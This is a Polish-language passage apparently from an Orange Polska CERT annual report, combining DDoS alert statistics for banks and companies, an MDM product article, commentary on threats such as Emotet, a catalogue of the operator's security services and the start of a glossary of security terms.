W każdym przypadku wystąpienia alertu SOC Orange 
Polska był w stałej komunikacji z przedstawicielami 
banków. Wspólnie był analizowany i na bieżąco 
weryfikowany wpływ wzmożonego ruchu na dostępność 
usług bankowych. Pod względem liczby alertów, 2 banki 
spółdzielcze mogłyby zostać umieszczone w środkowej 
stawce największych polskich instytucji finansowych 
wykres – „Banki Spółdzielcze – liczba alertów”.  

Ostatnim analizowanym obszarem są największe firmy 
innych niż finansowa branż. Tutaj roczna liczba alertów 
była nieco mniejsza niż w przypadku największych 
banków, ale tylko 4 firmy spośród 17 chronionych przez 
SOC Orange Polska nie odnotowało alertów mogących 
świadczyć o wystąpieniu ataku DDoS – wykres „Pozostałe 
podmioty: liczba alertów”. W tym miejscu warto zwrócić 
uwagę na fakt, że usługa „DDoS Protection Premium” 
dla klientów  oznaczonych jako „Energetyka 2” oraz  
„Samorząd 2” została uruchomiona pod koniec 
2019 roku. 

Największa liczba alertów przypadła w udziale 
podmiotom z sektora dostawców treści, usług IT 
oraz podmiotom z sektora energetycznego i logistyki.  

Aż 4 podmioty padły ofiarami tak dużego wolumenu ataku-
jącego ruchu, że konieczne było uruchomienie dodatkowej 
ochrony – wykres „Pozostałe podmioty - liczba mitygacji”. 
Zachodzi tu podobna prawidłowość jak w przypadku 
największych instytucji finansowych – aż 25% chronionych 
przez SOC Orange Polska firm padłoby ofiarami zmasowa-
nego ataku DDoS, gdyby nie zamówiły takiej usługi.  

Podobna, jak w przypadku największych banków jest również 
prawidłowość dotycząca  liczby mitygacji versus liczba alertów: 
największa liczba mitygacji (poza „Usługi IT 1”) uruchamiana 
była dla firm ze średnią liczbą alertów w ciągu roku.

Istotne jest również to, że liczba ataków DDoS o 
znaczącym wolumenie ruchu zagrażającym ciągłości 
działania firm z grupy „Pozostałe” była znacząco wyższa, 
niż liczba ataków na największe banki! Wykresy obrazują 
w sposób jednoznaczny, że dziś już żadna z firm nie może 
czuć się bezpiecznie i ataki DDoS mogą dotknąć pod-
mioty z różnych branż. I co ciekawe, wcale nie muszą to 
być instytucje finansowe czy firmy z obszaru e-Commerce 
udostępniające internetowe platformy do dokonywania 
zakupów, które jak mogłoby się wydawać, są najbardziej 
narażone na bezpośrednie straty z tytułu niedostępności 
usług internetowych.

Krzysztof Białek

Po więcej informacji skontaktuj się ze swoim doradcą
Orange i Integrated Solutions lub napisz na adres 
cybsecurity@orange.com
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Urządzenia mobilne mają swojego 
menedżera
Żaden z segmentów rynku nie rozwija się tak szybko 
jak mobilny. Szybki rozwój technologii oznacza szybszy 
wzrost liczby potencjalnych zagrożeń. Obserwujemy 
więc trend poszukiwania jednego rozwiązania, które 
pozwoli firmom kompleksowo zabezpieczać i zarządzać 
nie tylko smartfonem i tabletem, ale również laptopem, 
desktopem, inteligentnym zegarkiem czy czujnikiem. 
Kategoria tych systemów nazwana została Mobile 
Device Management – (MDM). 

Usługa ta dostępna w ofercie Orange, pozwala w pełni 
zarządzać dowolnymi urządzeniami, na które klienci 
się zdecydują i je zabezpieczać. Co szczególnie istotne, 
nie wymaga od klientów zapewnienia infrastruktury 
i nie powoduje kosztów jej utrzymania. Klient 
po zamówieniu usługi otrzymuje dane pozwalające 
na uwierzytelnienie w panelu zarządzania oraz 
niezbędne licencje na urządzenia, które mają być 
objęte ochroną. Rozwiązanie dostępne jest również 
w wersji on-premise (na serwerach klienta). 

Bezpieczeństwo to potrzeba numer jeden w firmach 
i organizacjach, które stają się coraz bardziej świadome 
potencjalnych zagrożeń. Niestety obecny stan zabezpieczeń 
w polskich firmach nie jest idealny – nie stosują one 
odpowiednich środków czy narzędzi do ochrony wrażliwych 
danych firmowych. Wiadomo, że dziś już zwykły antywirus 
na smartfonie nie wystarczy – nie ustrzeże on nas przed 
większością zagrożeń, ponieważ nie daje możliwości 
dokładnej konfiguracji polityk bezpieczeństwa, wymuszania 
haseł, geolokalizacji urządzenia, czy zdalnego usuwania 
danych zgromadzonych na smartfonie. W kontekście 
bezpieczeństwa danych na pewno warto wspomnieć 
o ochronie prywatności. Orange MDM wspiera w tym zakresie 
m.in. rozwiązanie Android Enterprise, które pozwala na 
podział danych na urządzeniu na część prywatną i służbową. 
To bardzo ważny wątek z perspektywy użytkownika, ale 
także biznesu. Równolegle, rozwiązanie ma możliwość 
zarządzania aplikacjami, jak tworzenie firmowego sklepu 
z aplikacjami widocznymi dla wybranych urządzeń, 
ich białej i czarnej listy itp.

Najważniejszą korzyścią dla firmy jest to, że usługa 
Orange MDM  zapewnia bezpieczeństwo i integralność 
danych zgromadzonych na urządzeniach mobilnych jej 
pracowników. W wielu przypadkach są to informacje 
dotyczące klientów, poufne dane firmowe, a czasem 
nawet tajne informacje przesyłane przez pracowników 
instytucji publicznych. 

Ważną korzyścią jest zapewnienie centralnego systemu 
do zarządzania tymi urządzeniami – od zmian 
w ustawieniach telefonu, przez bezpieczną instalację 
aplikacji i ich uaktualnień, po sesje zdalnej pomocy 
z przejęciem ekranu i klawiatury urządzenia. Co istotne, 
usługa może zintegrować się z istniejącą infrastrukturą IT, 
wzbogacając istniejące systemy o dodatkowe wartości 
związane z informacjami o flocie mobilnej. Dobrym 
przykładem są integracje z systemami bezpieczeństwa, 
które otrzymując dane o smartfonach i tabletach 
z systemu MDM Orange Polska, lepiej analizują 
potencjalne zagrożenia pojawiające się w firmowej sieci.

Popyt na systemy przeznaczone do zarządzania 
urządzeniami końcowymi z miesiąca na miesiąc rośnie. 
Popularność tę zawdzięczają rozwojowi możliwości 
smartfonów, ich szybkości działania i rosnącej pamięci, 
korzystaniem z emaili na smartfonach, dostępności aplikacji, 
których pracownicy używają na służbowych urządzeniach.  

Łukasz Bederski

Więcej o rozwiązaniu MDM Orange Polska:  
https://www.orange.pl/view/mdm

ORA0C171901 MDM dla CERT 2020 210x297 v7.indd   1 06/03/2020   12:41
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Pracując na co dzień z dużymi organizacjami, 
obserwujemy trzy rodzaje cyberzagrożeń, których liczba 
stopniowo rośnie, i z którymi coraz częściej borykają 
się nasi klienci. Po pierwsze - nasila się działanie 
„kryptokoparek” – to nadal potencjalnie duży zysk 
dla przestępców. Po drugie botnety, czyli komputery 
infekowane złośliwym oprogramowaniem. A po trzecie 
ataki na urządzenia mobilne – nasilenie się tego zjawiska 
idzie w parze z rosnącą liczbą urządzeń.

Nadal groźny jest także malware. Najbardziej 
spektakularny atak na sektor finansowy w 2019 roku, 
komentowany także przez klientów, to atak poprzez 
Malware Emotet – zaawansowany trojan bankowy, 
który jest mutacją istniejących wcześniej trojanów 
i potrafi zmieniać się w czasie. Praktycznie codziennie 
pojawiały się setki nowych zainfekowanych dokumentów 
umieszczonych na serwerach przestępców. W pierwszej 
fazie ataku wykorzystywano e-mail z linkiem 
do zawirusowanego dokumentu, a następnie – po zain-
fekowaniu całej stacji – malware potrafił wykradać 
m.in. używane w systemie hasła, zbierać informacje 
o systemie i jego otoczeniu, a także rozprzestrzeniać się 
po organizacji przez protokół SMB.

Klienci coraz częściej dopytują także o poziom zabezpie-
czenia rozwiązań chmurowych w kontekście RODO. 
To zrozumiałe, patrząc na dynamikę rozwoju rynku cloud 
i rosnące zainteresowanie cyberprzestępców tym obsza-
rem. A tu zarówno IS, jak i Orange mogą się pochwalić 
zdobyciem wszystkich niezbędnych certyfikacji międzyna-
rodowych w tym zakresie i nieustającą obserwacją nowych 
zagrożeń oraz skutecznych metod walki z nimi. Jako 
nieliczni na polskim rynku mamy certyfikat zgodności 
z normą ISO 27018 dot. przetwarzania danych osobowych 
w chmurze. Gwarantujemy bezpieczeństwo na wielu 
płaszczyznach. Integrated Solutions jako spółka z Grupy 
Orange ma tę unikalną przewagę, dzięki której może 
oferować rozwiązania end-to-end firmom o różnym stopniu 
cyfryzacji. Takich projektów w 2019 r. wdrożyliśmy 
co najmniej kilkanaście. Począwszy od bezpiecznych łączy 
telekomunikacyjnych, a skończywszy na ochronie urządzeń 
końcowych. W ciągu ostatniego roku zrealizowaliśmy 
m.in. wielodomenowy projekt dla jednego z większych 
klientów z branży ubezpieczeniowej. Obejmował on 
dostawę oraz zabezpieczenie infrastruktury teleinformatycznej 
klienta począwszy od sieci WAN, LAN we wszystkich 
oddziałach, dwóch Data Center, a skończywszy na zdalnym 
bezpiecznym dostępie. Wdrożyliśmy także ochronę 
systemu DNS oraz uruchomiliśmy wykrywanie anomalii 
i ataków za pomocą protokołu netflow.

Konsekwentnie zwiększamy zakres kompetencji IS 
w obszarach, w których wcześniej nie działaliśmy, tj. ochrona 
sieci przemysłowych (OT), czy systemy ochrony chmury 
CASB (Cloud Access Security Broker). Dzięki temu możemy 
przewidzieć coraz nowsze zagrożenia i chronić klientów 
przed atakami cyberprzestępców.

Pamiętajmy jednak, że nie ma „uniwersalnego 
rozwiązania bezpieczeństwa”. Do każdego Klienta 
konieczne jest określone podejście, które uwzględni 
charakter usług doradztwa, projektowania, wdrażania, 
zarządzania i utrzymania. Wspomagają nas w tym nasi 
międzynarodowi partnerzy tj. Cisco, Check Point, 
F5 Networks, Palo Alto Networks, Infoblox, Fortinet.

Aleksander Jagosz 
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Dla kogo:      Dla wszystkich korzystających z sieci internet i posiadających własną infrastrukturę.

Korzyści:       ●   Bezpieczny dostęp do internetu
       ●   Brak inwestycji w infrastrukturę po stronie klienta
       ●   Scentralizowana polityka bezpieczeństwa dla wszystkich chronionych lokalizacji

   email Protection
Na czym polega: Ochrona poczty klienta przed infekcjami, phishingiem, spamem i wyciekiem danych. 
      
Jak działa:      Polega na wykorzystaniu gotowej platformy w sieci Orange Polska. Funkcjonalności usługi to: 
      ●   Anty malware
      ●   Anty phishing
      ●   Anty spam 
      ●   Anty wirus
      ●   DLP

Dla kogo:      Dla wszystkich klientów korzystających z poczty elektronicznej 

Korzyści:      ●   Ochrona informacji przekazywanych drogą elektroniczną
      ●   Rozwiązanie nie wymaga inwestycji w infrastrukturę po stronie klienta 
      ●   Brak inwestycji w infrastrukturę po stronie klienta
       ●   Scentralizowana polityka bezpieczeństwa dla wszystkich chronionych lokalizacji

   MDM
Co to jest:            Mobile Device Management to rozwiązanie do zarządzania flotą urządzeń mobilnych klienta. 
       
Na czym polega: Monitorowanie i zarządzanie urządzeniami mobilnymi klienta np. smartfony, tablety.

Jak działa:     ●   Zarządzanie flotą mobilną poprzez konsolę,
      ●   Centralne zarządzanie:
           –  urządzeniami mobilnymi  –  lokalizacja, konfiguracja, backup, zdalne blokowanie czyszczenie danych,    
           –  aplikacjami – centralne repozytorium aplikacji, zdalna dystrybucja i instalacja aplikacji dla grup  
              użytkowników
           –  tworzeniem kopii zapasowych najważniejszych danych dostępnych na urządzeniu mobilnym
           –  polityką bezpieczeństwa
           –  zdalnym wsparciem technicznym

Dla kogo:      Dla zarządzających flotą mobilną (smartfony, tablety, laptopy) w każdej organizacji. 

Korzyści:      ●   Centralne zarządzanie urządzaniami mobilnymi w firmie
      ●   Standaryzacja

    Monitorowanie incydentów bezpieczeństwa
Co to jest:            Stały proces zarządzania incydentami bezpieczeństwa, w tym notyfikacja osób odpowiedzialnych  
      za zarządzanie infrastrukturą klienta. 
  
Na czym polega: Na wykorzystaniu odpowiednich algorytmów (scenariuszy bezpieczeństwa) wyszukiwania informacji 
      w logach monitorowanych systemów.

Dostępne rozwiązania stosowane osobno lub w pakiecie:

   SIEM as a Service  

Kiedy stosować: Chcesz identyfikować incydenty w całej infrastrukturze, mieć o nich dane w jednym miejscu i skutecznie  
      nimi zarządzać. 

Na czym polega: Udostępnienie funkcjonalności systemu SIEM dla klienta w celu zbierania istotnych zdarzeń z systemów 
      i aplikacji, ich korelacji w poszukiwaniu incydentów bezpieczeństwa.

Jak chronić firmę małą i dużą przed zagrożeniami 
w sieci? Jak zabezpieczyć instytucję publiczną, 
a jak finansową? – skorzystaj z usług 
bezpieczeństwa Orange Polska
Coraz większe wykorzystanie systemów teleinformatycznych we wszystkich 
aspektach prowadzenia działalności biznesowej powoduje wzrost wartości 
informacji i konieczność ich skutecznej ochrony. Tu liczy się czas reakcji na 
potencjalne zagrożenia, mogące mieć wpływ na prowadzony przez nas biznes. 
Internet Rzeczy przenika nasze codzienne życie, a zagrożenia z tym związane są coraz bardziej odczuwalne. To wyzwanie jeśli 
chodzi o zapewnienie bezpieczeństwa, zwłaszcza ze względu na słaby wciąż poziom zabezpieczeń „inteligentnych” urządzeń 
oraz możliwość wykorzystania ich do ataków DDoS (Distibuted Denial of Service). Przeprowadzenie tego typu ataków jest bardzo 
kosztowne, możemy się spodziewać rosnącej dostępności rozwiązań oferujących ataki „as-a-service”. Internetowi przestępcy 
stają się coraz bardziej przebiegli i bezwzględni. Aby im przeciwdziałać, potrzeba współpracy firm z ekspertami od bezpieczeń-
stwa w sieci. Orange Polska oferuje usługi, dzięki którym zminimalizujesz ryzyko w sytuacji wielu rodzajów zagrożeń. 
  Ochrona przed atakami DDoS
Co to są ataki 
DDoS (Distributed  Rozproszone ataki, które mają na celu zablokowanie dostępu do zasobów, a najczęściej:  
Denial of Service): ●   Ataki na pasmo potrzebne do świadczenia usługi, np. ICMP/UDP,
       ●   Ataki na wyczerpanie zasobów systemu, np. TCP SYN,
       ●   Ataki na aplikację np. ataki z wykorzystaniem protokołu http, DNS czy protokołów
            aplikacji VoIP
       
Kiedy stosować: Niedostępność usług w przypadku ataku typu DoS lub DDoS.

Na czym polega: Ochrona zasobów internetowych klienta przed wolumetrycznymi atakami odmowy dostępu.    
               Ruch sieciowy jest monitorowany w trybie 24/7/365 pod kątem wykrywania anomalii. W przypadku 
      faktycznego ataku filtrujemy podejrzane pakiety, a do klienta trafia jedynie prawidłowy ruch sieciowy.
          Wykorzystywane mechanizmy FlowSpec w sieci Orange pozwalają na przyjęcie i mitygację ataków
      wolumetrycznych o bardzo dużej wielkości.

Jak działa:      To połączenie trzech elementów: zespołów SOC i CERT Orange Polska, platformy Arbor Networks, 
      oraz wykorzystania mechanizmów operatorskich w ruchu krajowym i międzynarodowym (blackholing, 
      zarządzanie konfiguracją ruterów).

Dla kogo:      Dla wszystkich korzystających z sieci internet i posiadających własną infrastrukturę.

Korzyści:        ●   Zapewnienie dostępności usług w internecie
       ●   Stały monitoring ruchu i identyfikacja wystąpienia potencjalnych zagrożeń
           ●   Kompetencje specjalistów z Security Operations Center dostępne w trybie 24/7/365    
       ●   Natychmiastowe odparcie ataku od infrastruktury klienta
       ●   Brak konieczności inwestowania w odpowiednią infrastrukturę i elastyczny model rozliczania

  Firewall (Orange Network Security, Zarządzany UTM)
Na czym polega: Zwiększa bezpieczeństwo korzystania z internetu przez klientów składa się z dwóch komponentów: 
      ●   Systemu klasy Next Generation Firewall służącego do ochrony ruchu przychodzącego  
           i wychodzącego  
      ●   Portalu do zarządzania usługą przez klienta

Jak działa:      Kontrola praw dostępu do infrastruktury klienta oraz korzystania z internetu przez pracowników  
      bez konieczności instalacji dodatkowego sprzętu. Narzędzia do kontroli aplikacji i filtracja www
      decyduje o rodzajach aplikacji i kategoriach stron dostępnych dla użytkowników. 
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Jak działa:      Dostarczenie kompletnego rozwiązania, w celu monitorowania w trybie 24/7/365, integracja źródeł 
      logów, opracowanie i wdrożenie scenariuszy bezpieczeństwa

Dla kogo:      Dla wszystkich odpowiedzialnych za utrzymanie infrastruktury i danych, przede wszystkim Operatorów 
      Kluczowych zgodnie z Ustawą o Krajowym Systemie Bezpieczeństwa (KSC).

Korzyści:       ●   Stałe monitorowanie i identyfikacja incydentów bezpieczeństwa 
         ●   Gotowe zestawy scenariuszy bezpieczeństwa dla systemów klienta 

        ●   Centralna baza wiedzy o monitorowanych systemach
         ●   Elastyczny model szyty na miarę tzn. możliwość uruchomienia u klienta lub w modelu chmurowym  

                        
   SOC as a Service

Kiedy stosować: Chcesz scentralizować operacje bezpieczeństwa by szybko reagować na potencjalne zagrożenia.  
       
Na czym polega: Gotowy proces monitorowania incydentów bezpieczeństwa przy wykorzystaniu kompetencji i zespołu
      Security Operations Center (SOC) Orange Polska – operatorów, analityków i ekspertów monitorującego
      systemy i dane klienta np. poprzez SIEM.

Jak działa:      Proces polegający na integracji danych z systemów klienta z zespołem szybkiego reagowania na  
      zidentyfikowane incydenty.

Dla kogo:      Dla wszystkich odpowiedzialnych za utrzymanie infrastruktury i danych oraz osób zobowiązanych 
      ustawą do szybkiego reagowania na incydent (np. RODO, KNF, KSC). 

Korzyści:       ●   Dostępne procedury obsługi incydentów   
           ●   Doświadczony zespół specjalistów
           ●   Brak konieczności budowania od podstaw zespołu specjalistów i kompetencji po stronie klienta 

      ●   Natychmiastowe informowanie osób odpowiedzialnych za infrastrukturę i dane chronione o  
           incydentach            

   Feed as a Service
Co to jest:      Dostarczanie informacji o zaobserwowanej w sieci Orange złośliwej aktywności. Uzyskane dane mogą 
      posłużyć do zasilenia systemów zabezpieczeń utrzymywanych przez klienta i w efekcie pozwolić na 
       proaktywne zapobieżenie atakowi.

Na czym polega: Dostarczaniu informacji o zaobserwowanej złośliwej aktywności.

Jak działa:      Informacje dostarczane są w postaci plików o zdefiniowanych formatach. Dostępne do pobrania  
      z portalu klienckiego pliki, są aktualizowane co 24 godziny i dotyczą aktywności zaobserwowanej 
      w ciągu ostatniej doby. 

Dla kogo:     Wszystkie organizacje utrzymujące systemy bezpieczeństwa 

Korzyści:    ●   Informacje o zagrożeniach zidentyfikowanych w sieci Orange Polska, służące do zasilenia  
           dodatkowymi danymi systemów zabezpieczeń klienta
      ●   Ochrona i podniesienie poziomu bezpieczeństwa systemów oraz użytkowników usług
      ●   Aktywne ograniczenie możliwości infekcji, aktywacji i eksfiltracji danych przez złośliwe 
           oprogramowanie

    Testy podatności
Co to jest:      Wyszukiwanie i klasyfikowanie słabości systemu klienta, które mogą zostać wykorzystane do przejęcia 
      nad nim kontroli, kradzieży wrażliwych danych i innych działań prowadzących do strat finansowych
      i wizerunkowych.

Kiedy stosować: W celu sprawdzenia podatności systemu.

Na czym polega: Próbie uzyskania nieautoryzowanego dostępu do wskazanego systemu teleinformatycznego klienta, 
      przy wykorzystaniu metody White box/ black box.

Dla kogo:      Organizacje udostępniające innym swoją infrastrukturę w sieci.
 
Korzyści:    ●   Ocena i szybka identyfikacja luk w zabezpieczeniach udostępnianego systemu oraz rekomendacje  
            eksperckie w celu poprawy bezpieczeństwa systemu.
      ●   Obiektywna i niezależna ocena rzeczywistego poziomu bezpieczeństwa systemów.

   Testy penetracyjne
Co to jest:      Praktyczna ocena bieżącego stanu bezpieczeństwa, a w szczególności obecności znanych 
      podatności i odporności na próby przełamania zabezpieczeń.

Kiedy stosować: W celu sprawdzenia mechanizmów bezpieczeństwa isystemu.

Na czym polega: Próbie uzyskania nieautoryzowanego dostępu do wskazanego systemu 
      teleinformatycznego klienta, przy wykorzystaniu metody white box/ black box.

Dla kogo:      Organizacje udostępniające innym własną infrastrukturę w sieci.

Korzyści:      ●   Ocena i szybka identyfikacja luk w zabezpieczeniach udostępnianego systemu oraz rekomendacje  
            eksperckie w celu poprawy bezpieczeństwa infrastruktury klienta
      ●   Obiektywna i niezależna ocena rzeczywistego poziomu bezpieczeństwa systemów            

   Testy wydajnościowe
Co to jest:     Kontrolowany atak typu DoS/ DDoS na wskazane elementy systemu teleinformatycznego klienta (łącze,
      serwery, serwisy, punkt styku z siecią internet) w celu oceny odporności na próby ataków.
       
Na czym polega: Analiza przeprowadzana z perspektywy potencjalnego przestępcy przy wykorzystaniu kompetencji
      zespołu i infrastruktury Spirent Communications, sieci transportowej Orange Polska.  

Kiedy stosować: W celu sprawdzenia zabezpieczeń – podatności systemu na ataki typu DDoS

Dla kogo:      Organizacje udostępniające innym swoją infrastrukturę w sieci

Korzyści:       ●   Szybka ocena zabezpieczeń systemu przed atakami typu DDoS
      ●   Rekomendacje eksperckie w celu poprawy bezpieczeństwa systemu
      ●   Obiektywna i niezależna ocena rzeczywistego poziomu bezpieczeństwa systemów 

   Ochrona przed złośliwym oprogramowaniem  
   (Malware Protection InLine)
Co to jest:     Ochrona zasobów sieciowych klienta poprzez zapobieganie i wykrywanie infekcji złośliwym 
      oprogramowaniem (ang. malware) próbującym przeniknąć z internetu.

Na czym polega: Sieciowy ruch klienta jest monitorowany i analizowany pod kątem obecności złośliwego 
      kodu w przesyłanych plikach.    

Jak działa:      Malware jest wykrywany z wykorzystaniem technik detekcji powiązanych ze szczegółową analizą 
      ataku. Podejrzane przepływy sieciowe są odtwarzane w maszynach wirtualnych, przeprowadzających 
      zaawansowane analizy zachowania malware w środowisku symulującym realne stacje robocze  
         (Sandbox). Proces opiera się na analizie zachowania kodu, co pozwala zidentyfikować ataki APT  
      i zero-day. Ruch wychodzący z infrastruktury klienta do internetu analizowany jest pod kątem
      połączeń złośliwego oprogramowania z tzw. serwerami C&C. 

Dla kogo:      Dla wszystkich korzystających z sieci internet Orange Polska i posiadających własną infrastrukturę.
      
Korzyści:     ●   Szybka identyfikacja i blokada aktywności złośliwego oprogramowania 
       ●   Ochrona przed cyberzagrożeniami typu APT i zero-day
       ●   Brak konieczności inwestowania w urządzenia zabezpieczające usługi 

      ●   Ochrona przed niefrasobliwością pracowników klienta
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    Analiza złośliwego oprogramowania
Co to jest:      Analiza złośliwego oprogramowania dostarczonego w ramach usługi przez klienta do CERT 
      Orange Polska.

Na czym polega: Analiza ekspercka oraz informacje na temat wszystkich zaobserwowanych złośliwych aktywności. 
       
Jak to działa:      Raport z prac opisujący wykryte zagrożenia złośliwej aktywności malware w systemie.

Dla kogo:      Dla klientów, którzy chcą przeanalizować oprogramowanie pod kątem ewentualnej złośliwości oraz
      poznać jej wpływ na infrastrukturę.

Korzyści:      ●   Dostępność zespołu ekspertów i laboratorium CERT Orange Polska
      ●   Raport o zidentyfikowanych złośliwościach oraz ich wpływie na infrastrukturę klienta
      ●   Rekomendacje CERT Orange Polska w celu minimalizacji zagrożeń

    Secure DNS
Co to jest:      Zapobieganie skutkom ataków typu DDoS ukierunkowanych na infrastrukturę DNS klienta.

Na czym polega: Geograficzne rozproszenie serwerów odpowiadających na zapytania DNS klientów. 
      
Jak to działa:      Orange Polska używa technologii „anycast”, w której pracują światowe sieci serwujące  
      np. domene.com czy .pl. Secure DNS składa się z ponad 40 węzłów, znajdujących się zarówno 
      w sieci Orange, jak i w innych sieciach w Polsce i na świecie. Odpowiedzi z najbliższego sieciowo
      węzła będą przychodziły maksymalnie szybko, po najkrótszej możliwej trasie, bez opóźnień.

Dla kogo:      Dla klientów świadczących usługi w internecie, właścicieli domen internetowych 

Korzyści:      ●   Odsunięcie ataków na serwery DNS od własnej infrastruktury 
      ●   Zwiększenie dostępności usług DNS 
      ●   Łatwa i szybka konfiguracja usługi i obsługa zmian
      ●   Możliwość pełnego outsourcingu usługi DNS klienta z wykorzystaniem infrastruktury SecureDNS

    Stop Phishing
Co to jest:      Blokowanie ruchu sieciowego do strony stworzonej przez przestępcę

Na czym polega: Minimalizacja skutków ataków phishingowych, w szczególności występowania stron 
      phishingowych, ukierunkowanych na użytkowników serwisów internetowych klienta. 

Jak to działa:     Aktywna blokada ruchu sieciowego pomiędzy użytkownikami sieci Orange Polska 
      a serwerami lub domenami internetowymi zidentyfikowanymi jako element kampanii 
      phishingowej. Przy wykorzystaniu zespołów SOC i CERT Orange Polska gwarantujemy 
      w szybkim czasie blokadę kampanii oraz pilne informowanie innych zespołów szybkiego
      reagowania o zidentyfikowanym incydecie.

Dla kogo:      Dla klientów świadczących usługi w internecie (e-commerce)
 
Korzyści:      ●   Minimalizacja skali ataku poprzez ograniczenie liczby potencjalnych ofiar
       ●   Zmniejszenie kosztów obsługi incydentów bezpieczeństwa po stronie klienta
       ●   Znaczne ograniczenie ryzyka wizerunkowego związanego z marką klienta

    Web Application Protection (platforma WAF aaS)
Co to jest WAF?: Platforma Web Application Firewall jest zlokalizowana w sieci szkieletowej Orange Polska.  

Kiedy stosować: Niedostępność usług związanych z aplikacją klienta.

Na czym polega: Ochrona zasobów klienta przed atakami aplikacyjnymi. Cały ruch http/https 
      kierowany jest z internetu do chronionych zasobów zostaje przekierowany przez platformę 
      usługową WAF i poddany analizie zgodnie ze zdefiniowaną polityką bezpieczeństwa. 

Jak działa:      Umożliwia ochronę przed dziesięcioma najbardziej krytycznymi zagrożeniami aplikacji  
      webowych zdefiniowanymi w OWASP Top 10 i pozwala na podniesienie bezpieczeństwa 
      aplikacji webowych bez konieczności modyfikacji kodu.  
 
Dla kogo:      Dla wszystkich udostępniających aplikacje w sieci internet.  

Korzyści:      ●   Zapewnienie bezpieczeństwa informacji i procesów biznesowych 
      ●   Stały monitoring ruchu i identyfikacja wystąpienia potencjalnych zagrożeń
      ●   Kompetencje specjalistów z Security Operations Center dostępne w trybie 24/7/365
      ●   Natychmiastowe odparcie ataku od infrastruktury klienta
      ●   Brak konieczności inwestowania w odpowiednią infrastrukturę i elastyczny model rozliczania

    CyberTarcza
Co to jest:      Ochrona urządzeń mobilnych klienta działających w sieci Orange Polska przed złośliwym 
      oprogramowaniem oraz kampaniami phishingowymi.

Na czym polega: Ruch sieciowy jest monitorowany i analizowany pod kątem cyberbezpieczeństwa. Usługa  
       blokuje połączenie z zainfekowaną stroną oraz z kategoriami stron zdefiniowanymi przez klienta. 
         
Jak to działa:     Działa w oparciu o analizę ruchu sieciowego operatora, bez względu na system.

Funkcjonalności: ●   antymalware, antyphishing 
       ●   możliwość zdefiniowania blokad w różnych godzinach dla pracowników i rodziny 
      CyberTarcza zawiera dodatkowe źródła danych o zagrożeniach opracowane  
      pod kątem klienta oraz umożliwia użytkownikowi zarządzanie filtrami, ponad 30 kategorii.

Dla kogo:      Dla wszystkich korzystających z sieci mobilnej Orange Polska  - konsument, 
      przedsiębiorca, prepaid.
 
Korzyści:      ●   Możliwość filtrowania 
      ●   Ochrona przed cyberzagrożeniami typu APT i zero-day
      ●   Brak konieczności inwestowania w urządzenia zabezpieczające usługi
      ●   Ochrona przed niefrasobliwością pracowników klienta

    CyberWatch
Co to jest:      Usługa platformowa polegająca na informowaniu klientów o wykrytych próbach komunikacji 
      z zagrożeniami z jego sieci firmowej (stacjonarnej oraz mobilnej). 

Na czym polega: Raporty dostarczane są klientowi codziennie jako załącznik do wiadomości e-mail. 
 
Jak to działa:     Działa w oparciu o analizę ruchu sieciowego operatora, bez względu na system.

Funkcjonalności: ●   Codzienny raport o wystąpieniu zagrożeń wysyłany pod wskazany adres e-mail;
      ●   Blokowanie komunikacji urządzeń Klienta ze stronami które stanowią zagrożenie,
      ●   Kompleksowa ochrona urządzeń działających w sieci Orange.

Dla kogo:      Dla wszystkich korzystających z sieci Orange Polska  
 
Korzyści:      ●   identyfikacja zainfekowanych urządzeń korzystających z sieci Orange,
      ●   blokowanie podejrzanego ruchu sieciowego z urządzeń stacjonarnych i mobilnych,
      ●   informacja o zagrożeniach,
      ●   zapobieganie wyciekowi firmowych danych,
      ●   usługa nie wymaga instalacji po stronie klienta.
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AaS (ang. as a service) – „jako usługa”; skrót odnosi 
się do usług, udostępnianych klientowi za pośrednictwem 
internetu.

Abuse – nadużycie; wykorzystanie niektórych możliwości 
sieci internet niezgodnie z przeznaczeniem lub prawem. 
W internecie do nadużyć zalicza się m.in. ataki sieciowe, 
rozsyłanie spamu, wirusów, nielegalnych treści, phishing, itp. 
Zespół typu Abuse to jednostka odpowiedzialna za przyj-
mowanie i rozpatrywanie zgłoszeń dotyczących tego typu 
nadużyć. 

ACK (ang. acknowledge) – jedna z flag protokołu TCP, której 
ustawienie oznacza potwierdzenie połączenia.

Adres IP (ang. IP address) – adres internetowy; unikalny 
numer dla każdego komputera w internecie, pozwalający 
na jego jednoznaczną identyfikację w sieci.  

Adres DNS – tekstowy adres internetowy, wykorzystywany 
do nazywania urządzeńw internecie. Składa się z nazw domen 
rozdzielonych kropkami. Wygodny dla użytkownika i przy 
użyciu systemu DNS, tłumaczony na zrozumiały dla urzą-
dzeńw sieci adres IP.

Backdoor –„tylne drzwi”; luka w zabezpieczeniach systemu 
komputerowego, utworzona umyślnie, w celu późniejszego 
dostępu do systemu. Intruz może utworzyć backdoora, 
włamując się poprzez inną lukę w oprogramowaniu lub 
wykorzystując uruchomienie trojana przez użytkownika. 

Blackholing (ang. black hole - czarna dziura) – adresy IP 
w sieci internet, w których ruch sieciowy jest neutralizowany, 
bez informowania adresata lub nadawcy. 

Bot (od ang. robot) – zainfekowany i przejęty komputer, 
wykonujący polecenia atakującego. 

Botnet – sieć połączonych botów, zdalnie kontrolowana 
przez atakującego. Botnety wykorzystywane są najczęściej 
do zmasowanych ataków typu DDoS lub rozsyłania spamu.  

C&C (ang. Command and Control) servers – infrastruktura 
serwerów zarządzana przez cyberprzestępców, wykorzysty-
wana do zdalnego wysyłania poleceń i kontroli botnetów.

CERT/CSIRT (ang. Computer Emergency Response 
Team, Computer Security Incident Response Team) – zespół 
reagowania na zagrożenia komputerowe. Głównym zadaniem 
zespołu jest szybka reakcja na zgłaszane przypadki zagrożeńi 
naruszeń bezpieczeństwa sieciowego. Prawo do używania 
nazwy CERT mają wyłącznie zespoły, spełniające bardzo 
wysokie wymagania. 

CISSP (ang. Certified Information Systems Security Profes-
sional) – uznawany na całym świecie certyfikat potwierdzający 
wiedzę, kwalifikacje i kompetencje w dziedzinie bezpie-
czeństwa sieciowego.

DDoS (ang. Distributed Denial of Service) – rozproszony atak 
odmowy usługi; atak sieciowy, polegający na wysłaniu do 
atakowanego systemu takiej ilości danych, których system 
ten nie będzie w stanie obsłużyć. Celem ataku jest blokada 
dostępności zasobów sieciowych. W przypadku DDoS do 
ataku wykorzystywanych jest wiele komputerów i połączeń 
sieciowych, co odróżnia go od ataku DoS, który korzysta 
z jednego komputera i jednego połączenia internetowego.

DNS (ang. Domain Name System) - system nazw dome-
nowych; protokół przypisywania słownych nazw cyfrowym 
adresom IP. System ten został stworzony dla wygody 
